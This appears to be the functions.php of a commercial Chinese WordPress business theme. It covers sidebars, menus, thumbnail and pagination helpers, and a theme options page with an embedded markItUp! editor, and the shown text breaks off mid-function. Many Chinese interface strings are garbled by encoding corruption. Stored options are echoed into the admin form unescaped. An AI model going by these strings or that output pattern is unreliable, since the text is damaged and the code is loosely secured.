<?php // Copyright(C) 2009-2015 www.wpyou.com, All rights reserved.

if ( function_exists('register_sidebars') )
{
register_sidebar(array(
'name'=>'首页侧边栏',
'before_title'=>'<h3>',
'after_title'=>'</h3>'
));
register_sidebar(array(
'name'=>'内页侧边栏',
'before_title'=>'<h3>',
'after_title'=>'</h3>'
));
}
function catch_post_image() {
global $post,$posts;
$first_img = '';
ob_start();
ob_end_clean();
$output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i',$post->post_content,$matches);
$first_img = $matches [1] [0];
if(empty($first_img)){
$site_url = bloginfo('template_url');
$first_img = "$site_url/images/no-thumbnail.jpg";
}
return $first_img;
}
function catch_slider_image() {
global $post,$posts;
$first_img = '';
ob_start();
ob_end_clean();
$output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i',$post->post_content,$matches);
$first_img = $matches [1] [0];
if(empty($first_img)){
$site_url = bloginfo('template_url');
$first_img = "$site_url/images/no-slider.jpg";
}
return $first_img;
}
if ( function_exists( 'add_theme_support') )
add_theme_support( 'post-thumbnails');
if ( function_exists('add_custom_background')) {add_custom_background();}
if ( function_exists('register_nav_menus')) {register_nav_menus(array('primary'=>'<b style="font-style:normal; color:#F00;">顶部菜单</b> 设置'));}
if ( function_exists('register_nav_menus')) {register_nav_menus(array('footmenu'=>'<b style="font-style:normal; color:#F00;">底部菜单</b> 设置'));}
function get_category_root_id($cat)
{
$this_category = get_category($cat);
while($this_category->category_parent)
{
$this_category = get_category($this_category->category_parent);
}
return $this_category->term_id;
}
function post_is_in_descendant_category( $cats,$_post = null )
{
foreach ( (array) $cats as $cat ) {
$descendants = get_term_children( (int) $cat,'category');
if ( $descendants &&in_category( $descendants,$_post ) )
return true;
}
return false;
}
function wpyou_strimwidth($str ,$start ,$width ,$trimmarker ){
$output = preg_replace('/^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'.$start.'}((?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'.$width.'}).*/s','\1',$str);
return $output.$trimmarker;
}
function wpyou_pagenavi($range = 9){
global $paged,$wp_query;
if ( !$max_page ) {$max_page = $wp_query->max_num_pages;}
if($max_page >1){if(!$paged){$paged = 1;}
if($paged != 1){echo "<a href='".get_pagenum_link(1) ."' class='extend' title='第一篇'>第一篇</a>";}
previous_posts_link('上一篇');
if($max_page >$range){
if($paged <$range){for($i = 1;$i <= ($range +1);$i++){echo "<a href='".get_pagenum_link($i) ."'";
if($i==$paged)echo " class='current'";echo ">$i</a>";}}
elseif($paged >= ($max_page -ceil(($range/2)))){
for($i = $max_page -$range;$i <= $max_page;$i++){echo "<a href='".get_pagenum_link($i) ."'";
if($i==$paged)echo " class='current'";echo ">$i</a>";}}
elseif($paged >= $range &&$paged <($max_page -ceil(($range/2)))){
for($i = ($paged -ceil($range/2));$i <= ($paged +ceil(($range/2)));$i++){echo "<a href='".get_pagenum_link($i) ."'";if($i==$paged) echo " class='current'";echo ">$i</a>";}}}
else{for($i = 1;$i <= $max_page;$i++){echo "<a href='".get_pagenum_link($i) ."'";
if($i==$paged)echo " class='current'";echo ">$i</a>";}}
next_posts_link('下一篇');
if($paged != $max_page){echo "<a href='".get_pagenum_link($max_page) ."' class='extend' title='最后一篇'>最后一篇</a>";}
}
}
function custom_comment($comment,$args,$depth) {
$GLOBALS['comment'] = $comment;;echo '   <li ';comment_class();;echo ' id="li-comment-';comment_ID() ;echo '">
     <div id="comment-';comment_ID();;echo '">
         <div class="comment-author vcard">
                ';;echo '                <div class="author_info">
					';printf(__('<cite class="fn">%s</cite>'),get_comment_author_link()) ;echo ' ';edit_comment_link(__('(Edit)'),'  ','') ;echo '<br />
                    <em>';printf(__('%1$s at %2$s'),get_comment_date('Y/m/d '),get_comment_time(' H:i:s')) ;echo '</em>
                </div>
                <div class="reply">
			   		';comment_reply_link(array_merge( $args,array('depth'=>$depth,'max_depth'=>$args['max_depth']))) ;echo '              	</div>
          </div>
		  ';if ($comment->comment_approved == '0') : ;echo '             <em>';_e('Your comment is awaiting moderation.') ;echo '</em>
             <br />
          ';endif;;echo '      		';comment_text() ;echo '     </div>
';};echo '';
$themename = "当前主题";
$theme_dir=get_bloginfo('template_url');
if ( is_admin() ){
wp_enqueue_style("functions",$theme_dir."/options/css/wpyouthemeoption.css",false,"all");
}
function wpyou_add_option() {
global $themename;
add_menu_page($themename.'设置',''.$themename.'设置',10,'theme-setup','wpyou_options',get_bloginfo('template_url').'/images/admin-options/icon_wpyou.png','3');
add_submenu_page('theme-setup','主题设置','主题设置',10,'theme-setup','wpyou_options');
add_action( 'admin_init','register_mysettings');
}
function register_mysettings() {
register_setting( 'wpyou-settings','wpyou_sliderposts');
register_setting( 'wpyou-settings','wpyou_aboutus');
register_setting( 'wpyou-settings','wpyou_aboutus_url');
register_setting( 'wpyou-settings','wpyou_new_products');
register_setting( 'wpyou-settings','wpyou_news_id');
register_setting( 'wpyou-settings','wpyou_picats_id');
register_setting( 'wpyou-settings','wpyou_products_id');
register_setting( 'wpyou-settings','wpyou_news_perpage');
register_setting( 'wpyou-settings','wpyou_products_perpage');
register_setting( 'wpyou-settings','wpyou_images');
register_setting( 'wpyou-settings','wpyou_if_seo');
register_setting( 'wpyou-settings','wpyou_homepage_title');
register_setting( 'wpyou-settings','wpyou_homepage_description');
register_setting( 'wpyou-settings','wpyou_homepage_keywords');
register_setting( 'wpyou-settings','wpyou_homepage_keywords_separater');
register_setting( 'wpyou-settings','wpyou_footer');
register_setting( 'wpyou-settings','wpyou_if_friendlink');
}
function wpyou_options() {
global $themename;
;echo '<!-- Options Form begin -->
<div class="wrap">
	<div id="icon-options-general" class="icon32"><br/></div>
	<h2>WProducts企业主题设置</h2>
    <ul class="subsubsub wpyounavi">
        <li><a href="#wpyou_bs"><strong>基本设置</strong></a> |</li>
        <li><a href="#wpyou_hp"><strong>首页设置</strong></a> |</li>
    	<li><a href="#wpyou_seo"><strong>SEO设置</strong></a> |</li>
        <li><a href="#wpyou_ft"><strong>底部设置</strong></a></li>
    </ul>
	<form method="post" action="options.php">
		';settings_fields('wpyou-settings');;echo '		<table class="form-table wpyou-form">
            <tr valign="top" class="toptitle">
            	<th><h3 id="wpyou_bs">基本设置</h3></th>
                <td> </td>
        	</tr>
            <tr valign="top">
                <th scope="row"><label>自定义菜单设置方泿<span class="description"></span></label></th>
                <td>
                <span class="description">
                    本主题共有<strong>2</strong>个自定义菜单,分别丿: <strong>顶部菜单、底部菜卿</strong>
                    <br />
                    ? <strong>请在<a href=\'nav-menus.php\'>【外部 - 菜单(导航菜单)?</a>里添加和设置每个菜单的内宿</strong>
                    <br />
                    ? <a href=\'http://www.wpyou.com/wordpress-3-0-operation-and-usage-of-navigation-menu.html\' target=\'_blank\'><strong>如何创建使用自定义菜单？</strong></a>
                    <br />
                    ? 自定义菜单功能需要在WordPress 3.0以上版本支持 
                 </span>
                </td>
            </tr>
            <tr valign="top" class="alt">
                <th scope="row"><label>幻灯片文章数<span class="description">(数倿)</span></label></th>
                <td>
                    <input class="regular-text" style="width:35em;" type="text" value="';echo get_option('wpyou_sliderposts');;echo '" name="wpyou_sliderposts"/>
                    <br />
                    <span class="description">设置首页幻灯片中要显示的图片数 (默认显示6个) <br />? 幻灯片内容根据自定义字段调用符合条件的文章(自定义字段名称为<strong>slider</strong>, 对应的值为<strong>要显示的图片地址</strong>,即为满足条件) <br />? 符合调用条件的文章数必须多余2篇时,幻灯片效果才会生敿<br />? 没有满足条件的文章时，默认调用全站最新文章<br />? <a href=\'http://www.wpyou.com/how-to-add-and-use-custom-fields-custom-fields.html\' target=\'_blank\'>如何使用自定义字殿</a></span>
                </td>
            </tr>
            <tr valign="top" class="alt">
                <th scope="row"><label>图片分类ID<span class="description">(数倿)</span></label></th>
                <td>
                    <input class="regular-text" style="width:35em;" type="text" name="wpyou_picats_id" value="';echo get_option('wpyou_picats_id');;echo '" />
                    <br />
                    <span class="description">设置列表页需要以图片列表形式显示的分类ID (可只设置产品总类ID, 多个ID间用英文逗号","隔开, 例如: 1,2,3)<br />? <a title="如何查看分类ID" href="http://www.wpyou.com/how-to-find-the-category-id.html" target="_blank">如何获取分类ID</a></span>
                </td>
        	</tr>
            <tr valign="top">
                <th scope="row"><label>产品分类ID<span class="description">(数倿)</span></label></th>
                <td>
                    <input class="regular-text" style="width:35em;" type="text" name="wpyou_products_id" value="';echo get_option('wpyou_products_id');;echo '" />
                    <br />
                    <span class="description">设置产品分类ID (可只设置产品总类ID, 多个ID间用英文逗号","隔开, 例如: 1,2,3)<br />? <a title="如何查看分类ID" href="http://www.wpyou.com/how-to-find-the-category-id.html" target="_blank">如何获取分类ID</a></span>
                </td>
        	</tr>
            <tr valign="top" class="alt">
                <th scope="row"><label><strong>产品列表页显示文章数</strong><span class="description">(数倿)</span></label></th>
                <td>
                    <input class="regular-text" style="width:35em;" type="text" value="';echo get_option('wpyou_products_perpage');;echo '" name="wpyou_products_perpage"/>
                    <br />
                    <span class="description">设置 产品列表篇 面显示的文章数目(默认丿</span>
                </td>
            </tr>
            <tr valign="top" class="alt">
                <th scope="row"><label><strong>新闻列表页显示文章数</strong><span class="description">(数倿)</span></label></th>
                <td>
                    <input class="regular-text" style="width:35em;" type="text" value="';echo get_option('wpyou_news_perpage');;echo '" name="wpyou_news_perpage"/>
                    <br />
                    <span class="description">设置 新闻列表篇 面显示的文章数目(默认丿</span>
                </td>
            </tr>
            <tr valign="top">
                <th scope="row"></th>
                <td>
                    <input type="submit" name="save" id="button-primary" class="button-primary" value="';_e('Save Changes') ;echo '" />
                </td>
            </tr>
            
			<tr valign="top" class="toptitle">
            	<th><h3 id="wpyou_hp">首页设置</h3></th>
                <td>自定义设置网站首页栏盿</td>
        	</tr>
            <tr valign="top">
                <th scope="row"><label>企业简仿<span class="description">(文本)</span></label></th>
                <td>
                	<textarea class="wpyoutextarea" name="wpyou_aboutus"/>';echo get_option('wpyou_aboutus');;echo '</textarea>
                    <span class="description">设置首页【企业简介】栏目显示的内容 (支持HTML)</span>
                </td>
        	</tr>
            <tr valign="top">
                <th scope="row"><label>企业简仿 链接地址<span class="description">(URL)</span></label></th>
                <td>
                    <input class="regular-text" style="width:35em;" type="text" name="wpyou_aboutus_url" value="';echo get_option('wpyou_aboutus_url');;echo '" />
                    <br />
                    <span class="description">设置首页【企业简介】栏盿 的链接地址</span>
                </td>
        	</tr>
            <tr valign="top">
                <th scope="row"><label>新闻动态分类ID<span class="description">(数倿)</span></label></th>
                <td>
                    <input class="regular-text" style="width:35em;" type="text" name="wpyou_news_id" value="';echo get_option('wpyou_news_id');;echo '" />
                    <br />
                    <span class="description">设置首页 新闻动怿 分类ID (多个ID间用英文逗号","隔开, 例如: 1,2,3)<br /><br />? <a title="如何查看分类ID" href="http://www.wpyou.com/how-to-find-the-category-id.html" target="_blank">如何获取分类ID</a></span>
                </td>
        	</tr>
            <tr valign="top">
                <th scope="row"><label>最新产哿 链接地址<span class="description">(URL)</span></label></th>
                <td>
                    <input class="regular-text" style="width:35em;" type="text" name="wpyou_new_products" value="';echo get_option('wpyou_new_products');;echo '" />
                    <br />
                    <span class="description">设置首页【最新产品】栏盿 的链接地址</span>
                </td>
        	</tr>
            <tr valign="top">
                <th scope="row"></th>
                <td>
                    <input type="submit" name="save" id="button-primary" class="button-primary" value="';_e('Save Changes') ;echo '" />
                </td>
            </tr>
			
            <tr valign="top" class="toptitle">
            	<th><h3 id="wpyou_seo">SEO设置</h3></th>
                <td>自定义网站的SEO设置,更加有利于搜索引擎优化收彿</td>
        	</tr>
            <tr valign="top">
                <th scope="row"><label>是否开启自定义SEO<span class="description"></span></label></th>
                <td>
                    <input type="checkbox" name="wpyou_if_seo" value="0" ';if (get_option('wpyou_if_seo') == '0') {echo 'checked="checked"';};echo ' /><label class="description"> 选中为开吿</label>
                    <br />
                    <span class="description">? 默认为开吿, 若使用了其他SEO插件，请不要开启此功能<br />? 如关闿(不选中)此功胿, 则以下所有SEO设置都将失效</span>
                </td>
            </tr>
            <tr valign="top">
                <th scope="row"><label>首页标题<span class="description">(文本)</span></label></th>
                <td>
                    <input class="regular-text" style="width:45em; height:3em;" type="text" value="';echo get_option('wpyou_homepage_title');;echo '" name="wpyou_homepage_title"/>
                    <br />
                    <span class="description">设置首页标题, 此项内容将和网站名称一起组成首页的Title</span>
                </td>
            </tr>
            <tr valign="top">
                <th scope="row"><label>首页描述<span class="description">(文本)</span></label></th>
                <td>
                    <textarea class="txtad" style="width:45em; height:6em;" name="wpyou_homepage_description">';echo get_option('wpyou_homepage_description');;echo '</textarea>
                    <br />
                    <span class="description">设置首页描述信息</span>
                </td>
            </tr>
            <tr valign="top">
                <th scope="row"><label>首页关键字列衿<span class="description">(文本)</span></label></th>
                <td>
                    <textarea class="txtad" style="width:45em; height:6em;" name="wpyou_homepage_keywords">';echo get_option('wpyou_homepage_keywords');;echo '</textarea>
                    <br />
                    <span class="description">设置首页关键字列衿(多个关键字之间用英文","逗号隔开)</span>
                </td>
            </tr>
            <tr valign="top" class="alt">
                <th scope="row"><label><strong>间隔笿</strong><br /><span class="description"></span></label></th>
                <td>
                    <input class="regular-text" style="width:10em;" type="text" value="';echo get_option('wpyou_homepage_keywords_separater');;echo '" name="wpyou_homepage_keywords_separater"/>
                    <br />
                    <span class="description">设置标题间隔笿(可使甿" - " 房 " _ " 房 " | "筿)<br />? 例如使用" - "后的格式丿: 文章标题 - 网站名称, 分类名称 - 网站名称<br />? 默认丿" - " </span>
                </td>
            </tr>
            <tr valign="top">
                <th scope="row"></th>
                <td>
                    <input type="submit" name="save" id="button-primary" class="button-primary" value="';_e('Save Changes') ;echo '" />
                </td>
            </tr>
            
            <tr valign="top" class="toptitle">
            	<th><h3 id="wpyou_ft">底部设置</h3></th>
                <td>自定义设置网站底部内宿</td>
        	</tr>
            <tr valign="top">
            	<th scope="row"><label>友情链接显示位置<span class="description"></span></label></th>
                <td>
                	<select name="wpyou_if_friendlink">
                    	<option value="2" ';if (get_option('wpyou_if_friendlink') == '2') {echo 'selected="selected"';};echo '>不显礿</option>
                        <option value="1" ';if (get_option('wpyou_if_friendlink') == '1') {echo 'selected="selected"';};echo '>首页显示</option>
                        <option value="0" ';if (get_option('wpyou_if_friendlink') == '0') {echo 'selected="selected"';};echo '>全站显示</option>
                    </select>
                	
                     <span class="description">(默认丿 全站显示)</span>
                    <br />
                    <span class="description">设置网站底部 友情链接 模块的显示位罿</span>
                </td>







            </tr>
            <tr valign="top">
                <th scope="row"><label>底部内容设置 <span class="description">(文本)</span></label></th>
                <td>
                    <textarea class="wpyoutextarea" name="wpyou_footer">';echo get_option('wpyou_footer');;echo '</textarea>
                    <span class="description">设置网站底部显示的内宿 (支持HTML)</span>
                </td>
        	</tr>
            <tr valign="top">
                <th scope="row"></th>
                <td>
                    <input type="submit" name="save" id="button-primary" class="button-primary" value="';_e('Save Changes') ;echo '" />
                </td>
            </tr>
		</table>
	</form>
     <p style=" margin-top:20px; color:#F00"><strong> 【敬告?: 请您尊重我们的劳动成果，严禁对本企业主题进行二次销售等不良行为＿<br />否则，本站将取消对您和主题购买者的所有免费更新升级服务，感谢您的支持和配合！</strong></p>
	<p style="margin-bottom:100px;">本企业网站主题由<a href="http://wwww.wpyou.com/" target="_blank">WPYOU</a>开发设访, 支持<a href="http://wwww.wpyou.com/" target="_blank">WPYOU</a>, 获得免费更新和升级服势.</p>
</div>
<!-- checkbox js begin -->
<script type="text/javascript">
// Lee dialog 1.0 http://www.xij.cn/blog/?p=68

function openSelect(state){ //选择城市层关闭打开控制 
	if(state == 1) 
	{ 
		jQuery("#selectItem").slideToggle("normal");
	} 
	else 
	{ 
		jQuery("#selectItem").slideToggle("normal");
	} 
} 


function getCheckBoxValue()
{
	var boxes = document.getElementsByName("ck00");  
	var selValues = "";	
	var groupTypeId = new Array();  
	for(var i = 0; i < boxes.length; i++)  
	{  
		if(boxes[i].checked)
		{
			groupTypeId[i] = boxes[i].value;
		}
	}	

	for(var i = 0; i < groupTypeId.length ; i++)
	{
		if(groupTypeId[i] != undefined)
		{
			selValues = selValues + groupTypeId[i] + ",";
		}
	}
	selValues = selValues.substring(0,selValues.lastIndexOf(\',\'));	
	document.getElementById("wpyou_picats_id").value = selValues;
	openSelect(0);
	openBg(0);
	
}

function setCheckBoxValue()
{
	var typeId = new Array(); 
	var obj = document.getElementById("wpyou_picats_id");
	if(obj.value != "")
	{
		typeId = obj.value.split(\',\');
		var checkbox = document.getElementsByName("ck00"); 
		for(var i = 0 ; i < typeId.length; i++)
		{
			for(var j = 0; j < checkbox.length; j++)
			{
				if(typeId[i] == checkbox[j].value)
				{
					checkbox[j].checked = "checked";
					break;
				}
			}
		}
		//alert(typeId);
	}
}

</script>
<!-- markitup js begin -->
<script type="text/javascript">
var $j = jQuery.noConflict();
	$j(document).ready(function() {
		$j(".wpyoutextarea").markItUp(mySettings);
});
// markItUp! include \'jquery.markitup.js\' file
(function($) {
	$.fn.markItUp = function(settings, extraSettings) {
		var options, ctrlKey, shiftKey, altKey;
		ctrlKey = shiftKey = altKey = false;

		options = {	id:						\'\',
					nameSpace:				\'\',
					root:					\'\',
					previewInWindow:		\'\', // \'width=800, height=600, resizable=yes, scrollbars=yes\'
					previewAutoRefresh:		true,
					previewPosition:		\'after\',
					previewTemplatePath:	\'';bloginfo('template_url');;echo '/options/markitup/templates/preview.html\',
					previewParserPath:		\'\',
					previewParserVar:		\'data\',
					resizeHandle:			true,
					beforeInsert:			\'\',
					afterInsert:			\'\',
					onEnter:				{},
					onShiftEnter:			{},
					onCtrlEnter:			{},
					onTab:					{},
					markupSet:			[	{ /* set */ } ]
				};
		$.extend(options, settings, extraSettings);

		// compute markItUp! path
		if (!options.root) {
			$(\'script\').each(function(a, tag) {
				miuScript = $(tag).get(0).src.match(/(.*)jquery\\.markitup(\\.pack)?\\.js$/);
				if (miuScript !== null) {
					options.root = miuScript[1];
				}
			});
		}

		return this.each(function() {
			var $$, textarea, levels, scrollPosition, caretPosition, caretOffset,
				clicked, hash, header, footer, previewWindow, template, iFrame, abort;
			$$ = $(this);
			textarea = this;
			levels = [];
			abort = false;
			scrollPosition = caretPosition = 0;
			caretOffset = -1;

			options.previewParserPath = localize(options.previewParserPath);
			options.previewTemplatePath = localize(options.previewTemplatePath);

			// apply the computed path to ~/
			function localize(data, inText) {
				if (inText) {
					return 	data.replace(/("|\')~\\//g, "$1"+options.root);
				}
				return 	data.replace(/^~\\//, options.root);
			}

			// init and build editor
			function init() {
				id = \'\'; nameSpace = \'\';
				if (options.id) {
					id = \'id="\'+options.id+\'"\';
				} else if ($$.attr("id")) {
					id = \'id="markItUp\'+($$.attr("id").substr(0, 1).toUpperCase())+($$.attr("id").substr(1))+\'"\';

				}
				if (options.nameSpace) {
					nameSpace = \'class="\'+options.nameSpace+\'"\';
				}
				$$.wrap(\'<div \'+nameSpace+\'></div>\');
				$$.wrap(\'<div \'+id+\' class="markItUp"></div>\');
				$$.wrap(\'<div class="markItUpContainer"></div>\');
				$$.addClass("markItUpEditor");

				// add the header before the textarea
				header = $(\'<div class="markItUpHeader"></div>\').insertBefore($$);
				$(dropMenus(options.markupSet)).appendTo(header);

				// add the footer after the textarea
				footer = $(\'<div class="markItUpFooter"></div>\').insertAfter($$);

				// add the resize handle after textarea
				if (options.resizeHandle === true && $.browser.safari !== true) {
					resizeHandle = $(\'<div class="markItUpResizeHandle"></div>\')
						.insertAfter($$)
						.bind("mousedown", function(e) {
							var h = $$.height(), y = e.clientY, mouseMove, mouseUp;
							mouseMove = function(e) {
								$$.css("height", Math.max(20, e.clientY+h-y)+"px");
								return false;
							};
							mouseUp = function(e) {
								$("html").unbind("mousemove", mouseMove).unbind("mouseup", mouseUp);
								return false;
							};
							$("html").bind("mousemove", mouseMove).bind("mouseup", mouseUp);
					});
					footer.append(resizeHandle);
				}

				// listen key events
				$$.keydown(keyPressed).keyup(keyPressed);
				
				// bind an event to catch external calls
				$$.bind("insertion", function(e, settings) {
					if (settings.target !== false) {
						get();
					}
					if (textarea === $.markItUp.focused) {
						markup(settings);
					}
				});

				// remember the last focus
				$$.focus(function() {
					$.markItUp.focused = this;
				});
			}

			// recursively build header with dropMenus from markupset
			function dropMenus(markupSet) {
				var ul = $(\'<ul></ul>\'), i = 0;
				$(\'li:hover > ul\', ul).css(\'display\', \'block\');
				$.each(markupSet, function() {
					var button = this, t = \'\', title, li, j;
					title = (button.key) ? (button.name||\'\')+\' [Ctrl+\'+button.key+\']\' : (button.name||\'\');
					key   = (button.key) ? \'accesskey="\'+button.key+\'"\' : \'\';
					if (button.separator) {
						li = $(\'<li class="markItUpSeparator">\'+(button.separator||\'\')+\'</li>\').appendTo(ul);
					} else {
						i++;
						for (j = levels.length -1; j >= 0; j--) {
							t += levels[j]+"-";
						}
						li = $(\'<li class="markItUpButton markItUpButton\'+t+(i)+\' \'+(button.className||\'\')+\'"><a href="" \'+key+\' title="\'+title+\'">\'+(button.name||\'\')+\'</a></li>\')
						.bind("contextmenu", function() { // prevent contextmenu on mac and allow ctrl+click
							return false;
						}).click(function() {
							return false;
						}).mousedown(function() {
							if (button.call) {
								eval(button.call)();
							}
							setTimeout(function() { markup(button) },1);
							return false;
						}).hover(function() {
								$(\'> ul\', this).show();
								$(document).one(\'click\', function() { // close dropmenu if click outside
										$(\'ul ul\', header).hide();
									}
								);
							}, function() {
								$(\'> ul\', this).hide();
							}
						).appendTo(ul);
						if (button.dropMenu) {
							levels.push(i);
							$(li).addClass(\'markItUpDropMenu\').append(dropMenus(button.dropMenu));
						}
					}
				}); 
				levels.pop();
				return ul;
			}

			// markItUp! markups
			function magicMarkups(string) {
				if (string) {
					string = string.toString();
					string = string.replace(/\\(\\!\\(([\\s\\S]*?)\\)\\!\\)/g,
						function(x, a) {
							var b = a.split(\'|!|\');
							if (altKey === true) {
								return (b[1] !== undefined) ? b[1] : b[0];
							} else {
								return (b[1] === undefined) ? "" : b[0];
							}
						}
					);
					// [![prompt]!], [![prompt:!:value]!]
					string = string.replace(/\\[\\!\\[([\\s\\S]*?)\\]\\!\\]/g,
						function(x, a) {
							var b = a.split(\':!:\');
							if (abort === true) {
								return false;
							}
							value = prompt(b[0], (b[1]) ? b[1] : \'\');
							if (value === null) {
								abort = true;
							}
							return value;
						}
					);
					return string;
				}
				return "";
			}

			// prepare action
			function prepare(action) {
				if ($.isFunction(action)) {
					action = action(hash);
				}
				return magicMarkups(action);
			}

			// build block to insert
			function build(string) {
				openWith 	= prepare(clicked.openWith);
				placeHolder = prepare(clicked.placeHolder);
				replaceWith = prepare(clicked.replaceWith);
				closeWith 	= prepare(clicked.closeWith);
				if (replaceWith !== "") {
					block = openWith + replaceWith + closeWith;
				} else if (selection === \'\' && placeHolder !== \'\') {
					block = openWith + placeHolder + closeWith;
				} else {
					block = openWith + (string||selection) + closeWith;
				}
				return {	block:block, 
							openWith:openWith, 
							replaceWith:replaceWith, 
							placeHolder:placeHolder,
							closeWith:closeWith
					};
			}

			// define markup to insert
			function markup(button) {
				var len, j, n, i;
				hash = clicked = button;
				get();

				$.extend(hash, {	line:"", 
						 			root:options.root,
									textarea:textarea, 
									selection:(selection||\'\'), 
									caretPosition:caretPosition,
									ctrlKey:ctrlKey, 
									shiftKey:shiftKey, 
									altKey:altKey
								}
							);
				// callbacks before insertion
				prepare(options.beforeInsert);
				prepare(clicked.beforeInsert);
				if (ctrlKey === true && shiftKey === true) {
					prepare(clicked.beforeMultiInsert);
				}			
				$.extend(hash, { line:1 });
				
				if (ctrlKey === true && shiftKey === true) {
					lines = selection.split(/\\r?\\n/);
					for (j = 0, n = lines.length, i = 0; i < n; i++) {
						if ($.trim(lines[i]) !== \'\') {
							$.extend(hash, { line:++j, selection:lines[i] } );
							lines[i] = build(lines[i]).block;
						} else {
							lines[i] = "";
						}
					}
					string = { block:lines.join(\'\\n\')};
					start = caretPosition;
					len = string.block.length + (($.browser.opera) ? n : 0);
				} else if (ctrlKey === true) {
					string = build(selection);
					start = caretPosition + string.openWith.length;
					len = string.block.length - string.openWith.length - string.closeWith.length;
					len -= fixIeBug(string.block);
				} else if (shiftKey === true) {
					string = build(selection);
					start = caretPosition;
					len = string.block.length;
					len -= fixIeBug(string.block);
				} else {
					string = build(selection);
					start = caretPosition + string.block.length ;
					len = 0;
					start -= fixIeBug(string.block);
				}
				if ((selection === \'\' && string.replaceWith === \'\')) {
					caretOffset += fixOperaBug(string.block);
					
					start = caretPosition + string.openWith.length;
					len = string.block.length - string.openWith.length - string.closeWith.length;

					caretOffset = $$.val().substring(caretPosition,  $$.val().length).length;
					caretOffset -= fixOperaBug($$.val().substring(0, caretPosition));
				}
				$.extend(hash, { caretPosition:caretPosition, scrollPosition:scrollPosition } );

				if (string.block !== selection && abort === false) {
					insert(string.block);
					set(start, len);
				} else {
					caretOffset = -1;
				}
				get();

				$.extend(hash, { line:\'\', selection:selection });

				// callbacks after insertion
				if (ctrlKey === true && shiftKey === true) {
					prepare(clicked.afterMultiInsert);
				}
				prepare(clicked.afterInsert);
				prepare(options.afterInsert);

				// refresh preview if opened
				if (previewWindow && options.previewAutoRefresh) {
					refreshPreview(); 
				}
																									
				// reinit keyevent
				shiftKey = altKey = ctrlKey = abort = false;
			}

			// Substract linefeed in Opera
			function fixOperaBug(string) {
				if ($.browser.opera) {
					return string.length - string.replace(/\\n*/g, \'\').length;
				}
				return 0;
			}
			// Substract linefeed in IE
			function fixIeBug(string) {
				if ($.browser.msie) {
					return string.length - string.replace(/\\r*/g, \'\').length;
				}
				return 0;
			}
				
			// add markup
			function insert(block) {	
				if (document.selection) {
					var newSelection = document.selection.createRange();
					newSelection.text = block;
				} else {
					$$.val($$.val().substring(0, caretPosition)	+ block + $$.val().substring(caretPosition + selection.length, $$.val().length));
				}
			}

			// set a selection
			function set(start, len) {
				if (textarea.createTextRange){
					// quick fix to make it work on Opera 9.5
					if ($.browser.opera && $.browser.version >= 9.5 && len == 0) {
						return false;
					}
					range = textarea.createTextRange();
					range.collapse(true);
					range.moveStart(\'character\', start); 
					range.moveEnd(\'character\', len); 
					range.select();
				} else if (textarea.setSelectionRange ){
					textarea.setSelectionRange(start, start + len);
				}
				textarea.scrollTop = scrollPosition;
				textarea.focus();
			}

			// get the selection
			function get() {
				textarea.focus();

				scrollPosition = textarea.scrollTop;
				if (document.selection) {
					selection = document.selection.createRange().text;
					if ($.browser.msie) { // ie
						var range = document.selection.createRange(), rangeCopy = range.duplicate();
						rangeCopy.moveToElementText(textarea);
						caretPosition = -1;
						while(rangeCopy.inRange(range)) { // fix most of the ie bugs with linefeeds...
							rangeCopy.moveStart(\'character\');
							caretPosition ++;
						}
					} else { // opera
						caretPosition = textarea.selectionStart;
					}
				} else { // gecko & webkit
					caretPosition = textarea.selectionStart;
					selection = $$.val().substring(caretPosition, textarea.selectionEnd);
				} 
				return selection;
			}

			// open preview window
			function preview() {
				if (!previewWindow || previewWindow.closed) {
					if (options.previewInWindow) {
						previewWindow = window.open(\'\', \'preview\', options.previewInWindow);
					} else {
						iFrame = $(\'<iframe class="markItUpPreviewFrame"></iframe>\');
						if (options.previewPosition == \'after\') {
							iFrame.insertAfter(footer);
						} else {
							iFrame.insertBefore(header);
						}	
						previewWindow = iFrame[iFrame.length - 1].contentWindow || frame[iFrame.length - 1];
					}
				} else if (altKey === true) {
					// Thx Stephen M. Redd for the IE8 fix
					if (iFrame) {
						iFrame.remove();
					} else {
						previewWindow.close();
					}
					previewWindow = iFrame = false;
				}
				if (!options.previewAutoRefresh) {
					refreshPreview(); 
				}
			}

			// refresh Preview window
			function refreshPreview() {
 				renderPreview();
			}

			function renderPreview() {		
				var phtml;
				if (options.previewParserPath !== \'\') {
					$.ajax( {
						type: \'POST\',
						url: options.previewParserPath,
						data: options.previewParserVar+\'=\'+encodeURIComponent($$.val()),
						success: function(data) {
							writeInPreview( localize(data, 1) ); 
						}
					} );
				} else {
					if (!template) {
						$.ajax( {
							url: options.previewTemplatePath,
							success: function(data) {
								writeInPreview( localize(data, 1).replace(/<!-- content -->/g, $$.val()) );
							}
						} );
					}
				}
				return false;
			}
			
			function writeInPreview(data) {
				if (previewWindow.document) {			
					try {
						sp = previewWindow.document.documentElement.scrollTop
					} catch(e) {
						sp = 0;
					}	
					previewWindow.document.open();
					previewWindow.document.write(data);
					previewWindow.document.close();
					previewWindow.document.documentElement.scrollTop = sp;
				}
				if (options.previewInWindow) {
					previewWindow.focus();
				}
			}
			
			// set keys pressed
			function keyPressed(e) { 
				shiftKey = e.shiftKey;
				altKey = e.altKey;
				ctrlKey = (!(e.altKey && e.ctrlKey)) ? e.ctrlKey : false;

				if (e.type === \'keydown\') {
					if (ctrlKey === true) {
						li = $("a[accesskey="+String.fromCharCode(e.keyCode)+"]", header).parent(\'li\');
						if (li.length !== 0) {
							ctrlKey = false;
							setTimeout(function() {
								li.triggerHandler(\'mousedown\');
							},1);
							return false;
						}
					}
					if (e.keyCode === 13 || e.keyCode === 10) { // Enter key
						if (ctrlKey === true) {  // Enter + Ctrl
							ctrlKey = false;
							markup(options.onCtrlEnter);
							return options.onCtrlEnter.keepDefault;
						} else if (shiftKey === true) { // Enter + Shift
							shiftKey = false;
							markup(options.onShiftEnter);
							return options.onShiftEnter.keepDefault;
						} else { // only Enter
							markup(options.onEnter);
							return options.onEnter.keepDefault;
						}
					}
					if (e.keyCode === 9) { // Tab key
						if (shiftKey == true || ctrlKey == true || altKey == true) { // Thx Dr Floob.
							return false; 
						}
						if (caretOffset !== -1) {
							get();
							caretOffset = $$.val().length - caretOffset;
							set(caretOffset, 0);
							caretOffset = -1;
							return false;
						} else {
							markup(options.onTab);
							return options.onTab.keepDefault;
						}
					}
				}
			}

